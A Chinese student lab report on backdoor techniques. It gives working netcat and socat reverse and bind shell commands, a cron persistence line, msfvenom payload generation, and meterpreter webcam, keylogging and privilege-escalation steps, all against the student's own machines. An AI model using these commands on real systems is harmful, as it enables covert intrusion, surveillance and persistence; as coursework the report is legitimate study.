20145236《网络对抗》Exp2 后门原理与实践
目录:
一、基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 我们在安装常用应用软件时,安装过程中附带的可能就有后门程序。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序
- linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。
- Meterpreter有哪些给你映像深刻的功能?
- 可以获取目标主机摄像头摄像头摄像头!!!这个功能好可怕……
- 可以提权,并且针对不同的系统,提权的方式有很多种,由于我在实验中尝试用getsystem提权失败之后上网查看了教程,愈发觉得meterpreter很强大很可怕。。其中找到一篇写了windows下各种提权方法的博客,我后来的提权操作也是从这里借鉴的:metasploit下Windows的多种提权方法
- 如何发现自己有系统有没有被安装后门?
- 低级一点的后门程序估计寻常的杀毒软件就可以查杀,比如我这次实验做的,一发送给win7主机就被360毙了。
- 至于隐藏的稍深一些的后门,例如与软件捆绑的后门,我查了一下方法,可以下载一些比较专业的监视软件,例如下载者监视器1.0、Regmon704.rar等进行检测。
- 还可以用抓包工具分析可疑软件是否有可疑操作,比如连接了一些乱七八糟的ip、在注册表项里操作了之类的。
二、常用后门工具实践
2.1 Windows获得Linux Shell
在Windows下,先使用
ipconfig
指令查看本机IP:10.1.1.141
使用
ncat.exe
程序监听本机的5236
端口:在Kali环境下,使用
nc
指令的-e
选项反向连接Windows主机的5236端口:Windows下成功获得了一个Kali的shell,运行
ls
指令如下:
2.2Linux获得Windows Shell
过程与之前的类似,在Kali环境下用
ifconfig
查看IP192.168.85.129
:使用
nc
指令监听5236
端口:在Windows下,使用ncat.exe程序的
-e
选项项反向连接Kali主机的5236
端口:Kali下可以看到Windows的命令提示,可以输入Windows命令:
2.3使用nc传输数据
- Windows下监听
5236
端口:
- Kali下连接到Windows的
5236
端口:
- 建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
2.4使用ncat实现文件传输
- 如图所示,先在windows中打开监听,然后在linux系统中发送文件:
- 传输的文件保存在了C:\Users\Administrator\ncat路径下,可以查看:
三、实验内容
3.1 使用netcat获取主机操作Shell,cron启动
先在Windows系统下,监听
5236
端口:在Kali环境下,使用
man crontab
指令查看crontab
命令的帮助文档,从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:在最后一行添加
05 * * * * /bin/netcat 10.1.1.141 5236 -e /bin/sh
,意思是在每个小时的第5
分钟反向连接Windows主机的5236
端口,就会启动cron
。设置成05
的原因是我当时的时间是19点03,为了能立马看到效果,所以我将时间设置在了2分钟以后:当时间到了19点05时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了05分时会立马显示出来):
3.2使用socat获取主机操作Shell, 任务计划启动
基础知识
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。 -
socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
- 下载安装socat软件,下载地址[https://gitee.com/wildlinux/NetSec/attach_files]
在操作->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5236 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5236
,同时把cmd.exe
的stderr
重定向到stdout
上:
- 创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
- 此时,在Kali环境下输入指令
socat - tcp:10.1.1.141:5236
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5236
端口,此时可以发现已经成功获得了一个cmd shell:
3.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=5215 -f exe > 20145236.exe
生成后门程序:
- 通过
nc
指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭)
- 在Kali上使用
msfconsole
指令进入msf
控制台,使用监听模块,设置payload
,设置反弹回连的IP和端口:
-
MSF打开监听进程
-
msfconsole
:进入msf -
use exploit/multi/handler
:进入handler模式 -
set payload windows/meterpreter/reverse_tcp
:设置payload -
show options
:查看当前信息状态 -
set LHOST 192.168.18.128
:设置LHOST -
set LPORT 5236
:设置LPORT -
exploit
:MSF开始监听
-
- 设置完成后,执行监听:
- 打开Windows上的后门程序:
- 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
3.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频:
- 使用
webcam_snap
指令可以使用摄像头进行拍照:
- 使用
webcam stream
指令可以使用摄像头进行录像 - 使用
screenshot
指令可以进行截屏:
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
- 先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权,如图所示,提权成功
四、实验中遇到的问题及解决
问题1:
- 解决办法:
在虚拟机向主机发送“20145236_bckdoor.exe”时,文件没有完全发送,导致文件不完整,可以直接从虚拟机根目录中将文件复制到主机上。 问题2:
解决办法:
在msf终端输入命令:service postgresql start
- 问题3:主机的360杀毒软件无法关闭。
-
解决办法:打开360安全卫士>设置>安全防护中心>自我保护>关闭360自我保护。
五、实验总结{#五}
本次实验是自己的虚拟机攻击自己的主机,比较容易好实现,很想尝试一下自己虚拟机攻击别人的电脑看看能否成功。本次实验的主要步骤就在于MSF这部分,我们主要还要弄懂每一步的含义以及每条命令的使用,我比较想知道生成的这个后门程序是什么样的,为什么在主机上执行之后虚拟机就可以窥探到主机。同时我觉得我们应该加强自己电脑的安全属性,不随便安装网页上的软件,不随意打开来路不明的邮件等,虽然我们电脑可能轻而易举就能被攻击者攻破,哈哈哈。